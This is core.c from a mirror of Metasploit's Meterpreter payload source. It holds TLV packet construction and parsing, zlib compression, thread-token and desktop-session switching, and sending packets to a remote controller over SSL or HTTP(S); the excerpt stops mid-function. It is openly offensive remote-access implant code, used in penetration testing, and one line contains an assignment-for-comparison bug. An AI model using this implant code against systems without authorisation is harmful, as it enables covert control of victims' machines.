1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-07-28 11:30:44 +02:00
Files
metasploit-payloads/c/meterpreter/source/common/core.c
OJ 7702724fd2 Remove all warnings resulting in totally clean builds
Does as it says on the tin. Various tweaks made to source and to project
files to make the builds come out with ZERO warnings.

Let's keep it clean from here!
2013-11-06 19:02:50 +10:00

1766 lines
52 KiB
C

/*!
* @file core.c
* @brief Definitions of core components of the Meterpreter suite.
* @details Much of what exists in the core files is used in almost every area
* of the Meterpreter code base, and hence it's very important. Don't
* change this stuff unless you know what you're doing!
*/
#include "common.h"
DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index,
TlvType type, Tlv *tlv);
/*! @brief List element that contains packet completion routine details. */
typedef struct _PacketCompletionRoutineEntry
{
LPCSTR requestId; ///< Id of the request.
PacketRequestCompletion handler; ///< Handler to call on completion.
struct _PacketCompletionRoutineEntry *next; ///< Pointer to the next compleiont routine entry.
} PacketCompletionRoutineEntry;
/*!
* @brief Reference to the list of packet completion routines.
* @details This pointer is a singularly-linked list which contains references
* to PacketCompletionRouteEntry items, each of which is processed
* when packet_call_completion_handlers is invoked.
*/
PacketCompletionRoutineEntry *packetCompletionRoutineList = NULL;
/*!
* @brief Print a remote console message.
* @details Transmit a single string to the remote connection with instructions
* to print it to the screen or whatever medium has been established.
* @param remote Pointer to the \c Remote instance that the message should be
sent to
* @param fmt Format string.
* @param ... Varargs that will be printed to the \c fmt format string.
* @return Indication of success or failure.
* @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet.
* @retval ERROR_SUCCESS Transmission was successful.
*/
DWORD send_core_console_write( Remote *remote, LPCSTR fmt, ... )
{
Packet *request = NULL;
CHAR buf[8192];
va_list ap;
DWORD res;
do
{
va_start(ap, fmt);
_vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
va_end(ap);
// Create a message with the 'core_print' method
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, "core_console_write")))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Add the string to print
if ((res = packet_add_tlv_string(request, TLV_TYPE_STRING, buf)) != NO_ERROR)
break;
res = packet_transmit(remote, request, NULL);
} while (0);
// Cleanup on failure
if (res != ERROR_SUCCESS)
{
if (request)
packet_destroy(request);
}
return res;
}
/*!
* @todo I have no idea why this is here, need someone else to explain.
*/
HANDLE core_update_thread_token( Remote *remote, HANDLE token )
{
HANDLE temp = NULL;
#ifdef _WIN32
lock_acquire( remote->lock );
do
{
temp = remote->hThreadToken;
// A NULL token resets the state back to the server token
if(! token)
token = remote->hServerToken;
// Assign the thread token
remote->hThreadToken = token;
// Close the old token if its not one of the two active tokens
if( temp && temp != remote->hServerToken && temp != remote->hThreadToken ) {
CloseHandle(temp);
}
} while(0);
lock_release( remote->lock );
#else
/*
* XXX add POSIX implementation
*/
#endif
return(token);
}
/*!
* @brief Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations.
* @details We dont store the handles as it is more convienient to use strings, especially as we cant use the regular API
* to break out of sessions.
* @remark It is up to the caller to free any station/desktop name provided as internally we use \c strdup.
* @param remote Pointer to the remote connection.
* @param dwSessionID ID of the session which contains the window station in \c cpStationName.
* @param cpStationName Name of the window station that contains the desktop in \c cpDesktopName.
* @param cpDesktopName Name of the desktop to switch to.
*/
VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName )
{
#ifdef _WIN32
DWORD temp_session = -1;
char * temp_station = NULL;
char * temp_desktop = NULL;
lock_acquire( remote->lock );
do
{
temp_session = remote->dwCurrentSessionId;
// A session id of -1 resets the state back to the servers real session id
if( dwSessionID = -1 )
dwSessionID = remote->dwOrigSessionId;
// Assign the new session id
remote->dwCurrentSessionId = dwSessionID;
temp_station = remote->cpCurrentStationName;
// A NULL station resets the station back to the origional process window station
if( !cpStationName )
cpStationName = remote->cpOrigStationName;
// Assign the current window station name to use
remote->cpCurrentStationName = _strdup( cpStationName );
// free the memory for the old station name if its not one of the two active names
if( temp_station && temp_station != remote->cpOrigStationName && temp_station != remote->cpCurrentStationName )
free( temp_station );
temp_desktop = remote->cpCurrentDesktopName;
// A NULL station resets the desktop back to the origional process desktop
if( !cpDesktopName )
cpDesktopName = remote->cpOrigDesktopName;
// Assign the current window desktop name to use
remote->cpCurrentDesktopName = _strdup( cpDesktopName );
// free the memory for the old desktop name if its not one of the two active names
if( temp_desktop && temp_desktop != remote->cpOrigDesktopName && temp_desktop != remote->cpCurrentDesktopName )
free( temp_desktop );
} while( 0 );
lock_release( remote->lock );
#endif
}
/*!
* @brief Create a packet of a given type (request/response) and method.
* @param type The TLV type that this packet represents.
* @param method TLV method type (can be \c NULL).
* @return Pointer to the newly created \c Packet.
*/
Packet *packet_create( PacketTlvType type, LPCSTR method )
{
Packet *packet = NULL;
BOOL success = FALSE;
do
{
if (!(packet = (Packet *)malloc(sizeof(Packet))))
break;
memset(packet, 0, sizeof(Packet));
// Initialize the header length and message type
packet->header.length = htonl(sizeof(TlvHeader));
packet->header.type = htonl((DWORD)type);
// Initialize the payload to be blank
packet->payload = NULL;
packet->payloadLength = 0;
// Add the method TLV if provided
if (method)
{
if (packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS)
break;
}
success = TRUE;
} while (0);
// Clean up the packet on failure
if ((!success) && (packet))
{
packet_destroy(packet);
packet = NULL;
}
return packet;
}
/*!
* @brief Create a response packet from a request.
* @details Create a response packet from a request, referencing the requestors
* message identifier.
* @param request The request \c Packet to build a response for.
* @return Pointer to a new \c Packet.
*/
Packet *packet_create_response( Packet *request )
{
Packet *response = NULL;
Tlv method, requestId;
BOOL success = FALSE;
PacketTlvType responseType;
if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST)
responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE;
else
responseType = PACKET_TLV_TYPE_RESPONSE;
do
{
// Get the request TLV's method
if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS)
break;
// Try to allocate a response packet
if (!(response = packet_create(responseType, (PCHAR)method.buffer)))
break;
// Get the request TLV's request identifier
if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
break;
// Add the request identifier to the packet
packet_add_tlv_string(response, TLV_TYPE_REQUEST_ID, (PCHAR)requestId.buffer);
success = TRUE;
} while (0);
// Cleanup on failure
if (!success)
{
if (response)
packet_destroy(response);
response = NULL;
}
return response;
}
/*!
* @brief Destroy the packet context and the payload buffer.
* @param packet Pointer to the \c Packet to destroy.
*/
VOID packet_destroy( Packet * packet )
{
if( packet == NULL )
return;
if( packet->payload )
{
memset( packet->payload, 0, packet->payloadLength );
free( packet->payload );
}
if( packet->decompressed_buffers )
{
while( TRUE )
{
DECOMPRESSED_BUFFER * buf = list_pop( packet->decompressed_buffers );
if( !buf )
break;
if( buf->buffer )
{
memset( buf->buffer, 0, buf->length );
free( buf->buffer );
}
free( buf );
}
list_destroy( packet->decompressed_buffers );
}
memset( packet, 0, sizeof(Packet) );
free( packet );
}
/*!
* @brief Add a string value TLV to a packet, including the \c NULL terminator.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param str Pointer to the string value to add to the packet.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str )
{
return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1);
}
/*!
* @brief Add a wide-string value TLV to a packet, including the \c NULL terminator.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param str Pointer to the wide-string value to add to the packet.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str)
{
DWORD dwResult;
size_t charCount = wcslen(str);
LPSTR lpStr = (LPSTR)malloc(charCount + 1);
if (lpStr) {
wcstombs(lpStr, str, charCount);
lpStr[charCount] = 0;
dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)charCount + 1);
free(lpStr);
}
else {
dwResult = ERROR_NOT_ENOUGH_MEMORY;
}
return dwResult;
}
/*!
* @brief Add a unsigned integer value TLV to a packet.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param val The value to add to the packet.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_uint( Packet *packet, TlvType type, UINT val )
{
val = htonl(val);
return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val));
}
/*!
* @brief Add a quad-work value TLV to a packet.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param val The value to add to the packet.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_qword( Packet *packet, TlvType type, QWORD val )
{
val = htonq( val );
return packet_add_tlv_raw( packet, type, (PUCHAR)&val, sizeof(QWORD) );
}
/*!
* @brief Add a boolean value TLV to a packet.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param val The value to add to the packet.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val)
{
return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1);
}
/*!
* @brief Add a group TLV to a packet.
* @details A TLV group is a TLV that contains multiple sub-TLVs.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param entries Pointer to the array of TLV entries to add.
* @param numEntries Count of the number of TLV entries in the \c entries array.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_group( Packet *packet, TlvType type, Tlv *entries, DWORD numEntries )
{
DWORD totalSize = 0,
offset = 0,
index = 0,
res = ERROR_SUCCESS;
PCHAR buffer = NULL;
// Calculate the total TLV size.
for (index = 0; index < numEntries; index++)
totalSize += entries[index].header.length + sizeof(TlvHeader);
do
{
// Allocate storage for the complete buffer
if (!(buffer = (PCHAR)malloc(totalSize)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Copy the memory into the new buffer
for (index = 0; index < numEntries; index++)
{
TlvHeader rawHeader;
// Convert byte order for storage
rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader));
rawHeader.type = htonl((DWORD)entries[index].header.type);
// Copy the TLV header & payload
memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader));
memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer, entries[index].header.length);
// Update the offset into the buffer
offset += entries[index].header.length + sizeof(TlvHeader);
}
// Now add the TLV group with its contents populated
res = packet_add_tlv_raw(packet, type, buffer, totalSize);
} while (0);
// Free the temporary buffer
if (buffer)
free(buffer);
return res;
}
/*!
* @brief Add an array of TLVs to a packet.
* @param packet Pointer to the packet to add the values to.
* @param entries Pointer to the array of TLV entries to add.
* @param numEntries Count of the number of TLV entries in the \c entries array.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlvs( Packet *packet, Tlv *entries, DWORD numEntries )
{
DWORD index;
for (index = 0; index < numEntries; index++)
packet_add_tlv_raw(packet, (TlvType)entries[index].header.type, entries[index].buffer, entries[index].header.length);
return ERROR_SUCCESS;
}
/*!
* @brief Add a raw value TLV to a packet, with compression.
* @details The value given in the \c buf parameter will be compressed with zlib.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param buf Pointer to the data that is to be compressed and added.
* @param length Number of bytes in \c buf to compress.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_raw_compressed( Packet *packet, TlvType type, LPVOID buf, DWORD length )
{
DWORD result = ERROR_SUCCESS;
DWORD headerLength = sizeof( TlvHeader );
PUCHAR newPayload = NULL;
BYTE * compressed_buf = NULL;
DWORD realLength = 0;
DWORD newPayloadLength = 0;
DWORD compressed_length = (DWORD)( 1.01 * ( length + 12 ) + 1 );
do
{
compressed_buf = (BYTE *)malloc( compressed_length );
if( !compressed_buf )
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
if( compress2( compressed_buf, &compressed_length, buf, length, Z_BEST_COMPRESSION ) != Z_OK )
{
result = ERROR_UNSUPPORTED_COMPRESSION;
break;
}
realLength = compressed_length + headerLength;
newPayloadLength = packet->payloadLength + realLength;
// Allocate/Reallocate the packet's payload
if( packet->payload )
newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength);
else
newPayload = (PUCHAR)malloc(newPayloadLength);
if( !newPayload )
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Populate the new TLV
((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength);
((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type);
memcpy(newPayload + packet->payloadLength + headerLength, compressed_buf, compressed_length );
// Update the header length and payload length
packet->header.length = htonl(ntohl(packet->header.length) + realLength);
packet->payload = newPayload;
packet->payloadLength = newPayloadLength;
result = ERROR_SUCCESS;
} while( 0 );
if( compressed_buf )
free( compressed_buf );
return result;
}
/*!
* @brief Add an arbitrary raw value TLV to a packet.
* @details The value given in the \c buf parameter will _not_ be compressed.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param buf Pointer to the data that is to be added.
* @param length Number of bytes in \c buf to add.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_raw( Packet *packet, TlvType type, LPVOID buf, DWORD length )
{
DWORD headerLength = sizeof(TlvHeader);
DWORD realLength = length + headerLength;
DWORD newPayloadLength = packet->payloadLength + realLength;
PUCHAR newPayload = NULL;
// check if this TLV is to be compressed...
if( ( type & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED )
return packet_add_tlv_raw_compressed( packet, type, buf, length );
// Allocate/Reallocate the packet's payload
if (packet->payload)
newPayload = (PUCHAR)realloc( packet->payload, newPayloadLength );
else
newPayload = (PUCHAR)malloc( newPayloadLength );
if (!newPayload)
return ERROR_NOT_ENOUGH_MEMORY;
// Populate the new TLV
((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength);
((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type);
memcpy( newPayload + packet->payloadLength + headerLength, buf, length );
// Update the header length and payload length
packet->header.length = htonl(ntohl(packet->header.length) + realLength);
packet->payload = newPayload;
packet->payloadLength = newPayloadLength;
return ERROR_SUCCESS;
}
/*!
* @brief Check if a TLV is NULL-terminated.
* @details The function checks the data within the range of bytes specified by
* the \c length property of the TLV \c header.
* @param tlv Pointer to the TLV to check.
* @return Indication of whether the TLV is terminated with a \c NULL byte or not.
* @retval ERROR_SUCCESS A \c NULL byte is present.
* @retval ERROR_NOT_FOUND No \c NULL byte is present.
* @sa TlvHeader
*/
DWORD packet_is_tlv_null_terminated( Tlv *tlv )
{
if ((tlv->header.length) && (tlv->buffer[tlv->header.length - 1] != 0))
return ERROR_NOT_FOUND;
return ERROR_SUCCESS;
}
/*!
* @brief Get the TLV type of the packet.
* @param packet Pointer to the packet to get the type from.
* @return \c PacketTlvType for the given \c Packet.
*/
PacketTlvType packet_get_type( Packet *packet )
{
return (PacketTlvType)ntohl( packet->header.type );
}
/*!
* @brief Get the TLV meta-type of the packet.
* @param packet Pointer to the packet to get the meta-type from.
* @return \c TlvMetaType for the given \c Packet.
*/
TlvMetaType packet_get_tlv_meta( Packet *packet, Tlv *tlv )
{
return TLV_META_TYPE_MASK( tlv->header.type );
}
/*!
* @brief Get a TLV of a given type from the packet.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get.
* @param tlv Pointer to the TLV that will receive the data.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_FOUND Unable to find the TLV.
*/
DWORD packet_get_tlv( Packet *packet, TlvType type, Tlv *tlv )
{
return packet_enum_tlv( packet, 0, type, tlv );
}
/*!
* @brief Get a string TLV from the packet.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get.
* @param tlv Pointer to the TLV that will receive the data.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_FOUND Unable to find the TLV or the string
* value is not NULL-terminated.
*/
DWORD packet_get_tlv_string( Packet *packet, TlvType type, Tlv *tlv )
{
DWORD res;
if ((res = packet_get_tlv( packet, type, tlv )) == ERROR_SUCCESS)
res = packet_is_tlv_null_terminated( tlv );
return res;
}
/*!
* @brief Get a TLV of a given type from a group TLV in the packet.
* @param packet Pointer to the packet to get the TLV from.
* @param group Pointer to the group TLV to get the value from.
* @param type Type of TLV to get.
* @param tlv Pointer to the TLV that will receive the data.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_FOUND Unable to find the TLV.
*/
DWORD packet_get_tlv_group_entry( Packet *packet, Tlv *group, TlvType type, Tlv *entry )
{
return packet_find_tlv_buf( packet, group->buffer, group->header.length, 0, type, entry );
}
/*!
* @brief Enumerate a TLV (with the option of constraining its type).
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get (optional).
* @param tlv Pointer to the TLV that will receive the data.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_FOUND Unable to find the TLV.
*/
DWORD packet_enum_tlv( Packet *packet, DWORD index, TlvType type, Tlv *tlv )
{
return packet_find_tlv_buf( packet, packet->payload, packet->payloadLength, index, type, tlv );
}
/*!
* @brief Get the string value of a TLV.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get (optional).
* @return Pointer to the string value, if found.
* @retval NULL The string value was not found in the TLV.
* @retval Non-NULL Pointer to the string value.
*/
PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type )
{
Tlv stringTlv;
PCHAR string = NULL;
if (packet_get_tlv_string( packet, type, &stringTlv ) == ERROR_SUCCESS)
string = (PCHAR)stringTlv.buffer;
return string;
}
/*!
* @brief Get the unsigned int value of a TLV.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get (optional).
* @return The value found in the TLV.
* @todo On failure, 0 is returned. We need to make sure this is the right
* thing to do because 0 might also be a valid value.
*/
UINT packet_get_tlv_value_uint( Packet *packet, TlvType type )
{
Tlv uintTlv;
if ((packet_get_tlv( packet, type, &uintTlv ) != ERROR_SUCCESS) || (uintTlv.header.length < sizeof(DWORD)))
return 0;
return ntohl(*(LPDWORD)uintTlv.buffer);
}
/*!
* @brief Get the raw value of a TLV.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get (optional).
* @return The value found in the TLV.
*/
BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type )
{
Tlv tlv;
if( packet_get_tlv( packet, type, &tlv ) != ERROR_SUCCESS )
return NULL;
return tlv.buffer;
}
/*!
* @brief Get the quad-word value of a TLV.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get (optional).
* @return The value found in the TLV.
* @todo On failure, 0 is returned. We need to make sure this is the right
* thing to do because 0 might also be a valid value.
*/
QWORD packet_get_tlv_value_qword( Packet *packet, TlvType type )
{
Tlv qwordTlv;
if( ( packet_get_tlv( packet, type, &qwordTlv ) != ERROR_SUCCESS ) || ( qwordTlv.header.length < sizeof(QWORD) ) )
return 0;
return ntohq( *(QWORD *)qwordTlv.buffer );
}
/*!
* @brief Get the boolean value of a TLV.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get (optional).
* @return The value found in the TLV.
* @todo On failure, FALSE is returned. We need to make sure this is the right
* thing to do because FALSE might also be a valid value.
*/
BOOL packet_get_tlv_value_bool( Packet *packet, TlvType type )
{
Tlv boolTlv;
BOOL val = FALSE;
if (packet_get_tlv( packet, type, &boolTlv ) == ERROR_SUCCESS)
val = (BOOL)(*(PCHAR)boolTlv.buffer);
return val;
}
/*!
* @brief Add an exception to a packet.
* @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING
* are added to the packet.
* @param packet Pointer to the packet to add the detail to.
* @param code Exception code.
* @param fmt Form string for the exception string.
* @param ... Varargs for the format string.
* @return Indication of success or failure.
* @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet.
* @retval ERROR_SUCCESS Transmission was successful.
*/
DWORD packet_add_exception( Packet *packet, DWORD code, PCHAR fmt, ... )
{
DWORD codeNbo = htonl(code);
char buf[8192];
Tlv entries[2];
va_list ap;
// Ensure null termination
buf[sizeof(buf) - 1] = 0;
va_start(ap, fmt);
_vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
va_end(ap);
// Populate the TLV group array
entries[0].header.type = TLV_TYPE_EXCEPTION_CODE;
entries[0].header.length = 4;
entries[0].buffer = (PUCHAR)&codeNbo;
entries[1].header.type = TLV_TYPE_EXCEPTION_STRING;
entries[1].header.length = (DWORD)strlen(buf) + 1;
entries[1].buffer = (PUCHAR)buf;
// Add the TLV group, or try to at least.
return packet_add_tlv_group( packet, TLV_TYPE_EXCEPTION, entries, 2 );
}
/*!
* @brief Get the result code from the packet
* @param packet Pointer to the packet to get thget the result code from
* @return The result code.
*/
DWORD packet_get_result( Packet *packet )
{
return packet_get_tlv_value_uint( packet, TLV_TYPE_RESULT );
}
/*
* Enumerate TLV entries in a buffer until hitting a given index (optionally for a given type as well).
*/
/*!
* @brief Enumerate TLV entries until hitting a given index or type.
* @details This function will iterate through the given payload until one of the following conditions is true:
* - The end of the payload is encountered
* - The specified index is reached
* - A TLV of the specified type is reached
*
* If the first condition is met, the function returns with a failure.
* @param packet Pointer to the packet to get the TLV from.
* @param payload Pointer to the payload to parse.
* @param index Index of the TLV entry to find (optional).
* @param type Type of TLV to get (optional).
* @param tlv Pointer to the TLV that will receive the data.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_FOUND Unable to find the TLV.
*/
DWORD packet_find_tlv_buf( Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv )
{
DWORD currentIndex = 0;
DWORD offset = 0, length = 0;
BOOL found = FALSE;
PUCHAR current;
memset(tlv, 0, sizeof(Tlv));
do
{
// Enumerate the TLV's
for( current = payload, length = 0 ; !found && current ; offset += length, current += length )
{
TlvHeader *header = (TlvHeader *)current;
TlvType current_type = TLV_TYPE_ANY; // effectively '0'
if ((current + sizeof(TlvHeader) > payload + payloadLength) || (current < payload))
break;
// TLV's length
length = ntohl(header->length);
// Matching type?
current_type = (TlvType)ntohl( header->type );
// if the type has been compressed, temporarily remove the compression flag as compression is to be transparent.
if( ( current_type & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED )
current_type = (TlvType)(current_type ^ TLV_META_TYPE_COMPRESSED);
// check if the types match?
if( (current_type != type) && (type != TLV_TYPE_ANY) )
continue;
// Matching index?
if (currentIndex != index)
{
currentIndex++;
continue;
}
if ((current + length > payload + payloadLength) || (current < payload))
break;
tlv->header.type = ntohl(header->type);
tlv->header.length = ntohl(header->length) - sizeof(TlvHeader);
tlv->buffer = payload + offset + sizeof(TlvHeader);
if( ( tlv->header.type & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED )
{
DECOMPRESSED_BUFFER * decompressed_buf = NULL;
do
{
decompressed_buf = (DECOMPRESSED_BUFFER *)malloc( sizeof(DECOMPRESSED_BUFFER) );
if( !decompressed_buf )
break;
// the first DWORD in a compressed buffer is the decompressed buffer length.
decompressed_buf->length = ntohl( *(DWORD *)tlv->buffer );
if( !decompressed_buf->length )
break;
decompressed_buf->buffer = (BYTE *)malloc( decompressed_buf->length );
if( !decompressed_buf->buffer )
break;
tlv->header.length -= sizeof( DWORD );
tlv->buffer += sizeof( DWORD );
if( uncompress( (Bytef*)decompressed_buf->buffer, &decompressed_buf->length, tlv->buffer, tlv->header.length ) != Z_OK )
break;
tlv->header.type = tlv->header.type ^ TLV_META_TYPE_COMPRESSED;
tlv->header.length = decompressed_buf->length;
tlv->buffer = (PUCHAR)decompressed_buf->buffer;
if( !packet->decompressed_buffers )
packet->decompressed_buffers = list_create();
if( !packet->decompressed_buffers )
break;
// each packet has a list of decompressed buffers which is used to
// wipe and fee all decompressed buffers upon the packet being destroyed.
list_push( packet->decompressed_buffers, decompressed_buf );
found = TRUE;
} while( 0 );
if( !found && decompressed_buf )
{
if( decompressed_buf->buffer )
free( decompressed_buf->buffer );
free( decompressed_buf );
}
}
else
{
found = TRUE;
}
}
} while (0);
return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
/*!
* @brief Add a completion routine for a given request identifier.
* @return Indication of success or failure.
* @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the \c PacketCompletionRouteEntry instance.
* @retval ERROR_SUCCESS Addition was successful.
*/
DWORD packet_add_completion_handler( LPCSTR requestId, PacketRequestCompletion *completion )
{
PacketCompletionRoutineEntry *entry;
DWORD res = ERROR_SUCCESS;
do
{
// Allocate the entry
if (!(entry = (PacketCompletionRoutineEntry *)malloc( sizeof(PacketCompletionRoutineEntry) )))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Copy the completion routine information
memcpy( &entry->handler, completion, sizeof(PacketRequestCompletion) );
// Copy the request identifier
if (!(entry->requestId = _strdup( requestId )))
{
res = ERROR_NOT_ENOUGH_MEMORY;
free(entry);
break;
}
// Add the entry to the list
entry->next = packetCompletionRoutineList;
packetCompletionRoutineList = entry;
} while (0);
return res;
}
/*
*/
/*!
* @brief Call the register completion handler(s) for the given request identifier.
* @details Only those handlers that match the given request are executed.
* @param remote Pointer to the \c Remote instance for this call.
* @param response Pointer to the response \c Packet.
* @param requestId ID of the request to execute the completion handlers of.
* @return Indication of success or failure.
* @retval ERROR_NOT_FOUND Unable to find any matching completion handlers for the request.
* @retval ERROR_SUCCESS Execution was successful.
*/
DWORD packet_call_completion_handlers( Remote *remote, Packet *response, LPCSTR requestId )
{
PacketCompletionRoutineEntry *current;
DWORD result = packet_get_result( response );
DWORD matches = 0;
Tlv methodTlv;
LPCSTR method = NULL;
// Get the method associated with this packet
if (packet_get_tlv_string(response, TLV_TYPE_METHOD, &methodTlv) == ERROR_SUCCESS)
method = (LPCSTR)methodTlv.buffer;
// Enumerate the completion routine list
for (current = packetCompletionRoutineList; current; current = current->next)
{
// Does the request id of the completion entry match the packet's request
// id?
if (strcmp(requestId, current->requestId))
continue;
// Call the completion routine
current->handler.routine(remote, response, current->handler.context,
method, result);
// Increment the number of matched handlers
matches++;
}
if (matches)
packet_remove_completion_handler(requestId);
return (matches > 0) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
/*!
* @brief Remove a set of completion routine handlers for a given request identifier.
* @param requestId ID of the request.
* @return \c ERROR_SUCCESS is always returned.
*/
DWORD packet_remove_completion_handler( LPCSTR requestId )
{
PacketCompletionRoutineEntry *current, *next, *prev;
// Enumerate the list, removing entries that match
for (current = packetCompletionRoutineList, next = NULL, prev = NULL;
current;
prev = current, current = next)
{
next = current->next;
if (strcmp(requestId, current->requestId))
continue;
// Remove the entry from the list
if (prev)
prev->next = next;
else
packetCompletionRoutineList = next;
// Deallocate it
free((PCHAR)current->requestId);
free(current);
}
return ERROR_SUCCESS;
}
/*!
* @brief Transmit _and_ destroy a packet.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
* @remark This function simply proxies to \c packet_transmit_via_ssl or \c packet_transmit_via_http
* depending on what the remote transport type is.
*/
DWORD packet_transmit( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
{
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
return packet_transmit_via_ssl(remote, packet, completion);
}
if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS) {
return packet_transmit_via_http(remote, packet, completion);
}
return 0;
}
/*!
* @brief Transmit a packet via SSL _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
* @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS.
*/
DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
{
CryptoContext *crypto;
Tlv requestId;
DWORD res;
DWORD idx;
#ifdef _UNIX
int local_error = -1;
#endif
lock_acquire( remote->lock );
// If the packet does not already have a request identifier, create one for it
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
{
DWORD index;
CHAR rid[32];
rid[sizeof(rid) - 1] = 0;
for (index = 0; index < sizeof(rid) - 1; index++)
rid[index] = (rand() % 0x5e) + 0x21;
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
}
do
{
